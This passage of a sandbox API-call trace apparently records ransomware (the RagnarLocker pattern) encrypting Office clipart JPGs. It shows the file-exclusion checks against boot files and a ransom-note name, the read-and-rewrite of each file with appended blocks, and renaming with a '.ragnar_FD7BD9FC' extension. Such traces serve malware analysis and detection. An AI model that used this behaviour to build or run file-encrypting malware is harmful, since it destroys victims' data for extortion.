PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG") returned=".JPG" [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="autorun.inf") returned 1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="boot.ini") returned 1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="bootfont.bin") returned 1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="bootsect.bak") returned 1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="bootmgr") returned 1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="bootmgr.efi") returned 1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="bootmgfw.efi") returned 1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="desktop.ini") returned 1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="iconcache.db") returned 1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="ntldr") returned -1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="ntuser.dat") returned -1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="ntuser.dat.log") returned -1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="ntuser.ini") returned -1 [0088.032] lstrcmpiW (lpString1="J0382952.JPG", lpString2="thumbs.db") returned -1 [0088.032] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.032] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.032] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.032] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.032] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.032] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.032] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg")) returned 0x20 [0088.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.033] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=96073) returned 1 [0088.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17740, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.033] GetProcessHeap () returned 0x580000 [0088.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.033] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.034] VirtualAlloc (lpAddress=0x0, dwSize=0x17749, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.035] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17749, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x17749, lpOverlapped=0x0) returned 1 [0088.037] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.037] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17749, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.037] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17749, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17749, lpOverlapped=0x0) returned 1 [0088.038] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17749, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.038] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.038] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17749, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.038] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.038] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.038] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.039] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.039] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.039] GetProcessHeap () returned 0x580000 [0088.039] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.039] CloseHandle (hObject=0xf4) returned 1 [0088.039] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" [0088.039] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.ragnar_FD7BD9FC" [0088.039] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.040] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15a7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382954.JPG", cAlternateFileName="")) returned 1 [0088.040] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.040] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382954.JPG" | out: lpString1="J0382954.JPG") returned="J0382954.JPG" [0088.040] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG") returned=".JPG" [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="autorun.inf") returned 1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="boot.ini") returned 1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="bootfont.bin") returned 1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="bootsect.bak") returned 1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="bootmgr") returned 1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="bootmgr.efi") returned 1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="bootmgfw.efi") returned 1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="desktop.ini") returned 1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="iconcache.db") returned 1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="ntldr") returned -1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="ntuser.dat") returned -1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="ntuser.dat.log") returned -1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="ntuser.ini") returned -1 [0088.040] lstrcmpiW (lpString1="J0382954.JPG", lpString2="thumbs.db") returned -1 [0088.040] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.040] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.040] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.040] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.040] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.040] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.040] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg")) returned 0x20 [0088.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.041] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=88703) returned 1 [0088.041] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15a76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.041] GetProcessHeap () returned 0x580000 [0088.041] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.041] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.042] VirtualAlloc (lpAddress=0x0, dwSize=0x15a7f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.043] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.043] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.043] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15a7f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15a7f, lpOverlapped=0x0) returned 1 [0088.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.045] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15a7f, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.046] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15a7f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15a7f, lpOverlapped=0x0) returned 1 [0088.046] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15a7f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.046] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.046] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15a7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.046] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.047] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.047] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.047] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.047] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.047] GetProcessHeap () returned 0x580000 [0088.047] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.047] CloseHandle (hObject=0xf4) returned 1 [0088.047] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" [0088.047] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.ragnar_FD7BD9FC" [0088.047] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.048] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15fef, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382955.JPG", cAlternateFileName="")) returned 1 [0088.048] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.048] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382955.JPG" | out: lpString1="J0382955.JPG") returned="J0382955.JPG" [0088.048] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG") returned=".JPG" [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="autorun.inf") returned 1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="boot.ini") returned 1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="bootfont.bin") returned 1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="bootsect.bak") returned 1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="bootmgr") returned 1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="bootmgr.efi") returned 1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="bootmgfw.efi") returned 1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="desktop.ini") returned 1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="iconcache.db") returned 1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="ntldr") returned -1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="ntuser.dat") returned -1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="ntuser.dat.log") returned -1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="ntuser.ini") returned -1 [0088.048] lstrcmpiW (lpString1="J0382955.JPG", lpString2="thumbs.db") returned -1 [0088.048] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.048] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.048] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.048] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.048] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.048] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.048] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg")) returned 0x20 [0088.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.049] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=90095) returned 1 [0088.049] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15fe6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.049] GetProcessHeap () returned 0x580000 [0088.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.049] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.050] VirtualAlloc (lpAddress=0x0, dwSize=0x15fef, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.051] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15fef, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15fef, lpOverlapped=0x0) returned 1 [0088.053] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.054] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15fef, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.054] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15fef, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15fef, lpOverlapped=0x0) returned 1 [0088.054] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15fef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.055] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.055] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15fef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.055] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.055] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.055] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.056] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.056] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.056] GetProcessHeap () returned 0x580000 [0088.056] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.056] CloseHandle (hObject=0xf4) returned 1 [0088.056] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" [0088.056] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.ragnar_FD7BD9FC" [0088.056] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.057] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a9ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382957.JPG", cAlternateFileName="")) returned 1 [0088.057] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.057] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382957.JPG" | out: lpString1="J0382957.JPG") returned="J0382957.JPG" [0088.057] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG") returned=".JPG" [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="autorun.inf") returned 1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="boot.ini") returned 1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="bootfont.bin") returned 1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="bootsect.bak") returned 1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="bootmgr") returned 1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="bootmgr.efi") returned 1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="bootmgfw.efi") returned 1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="desktop.ini") returned 1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", lpString2="iconcache.db") returned 1 [0088.057] lstrcmpiW (lpString1="J0382957.JPG", 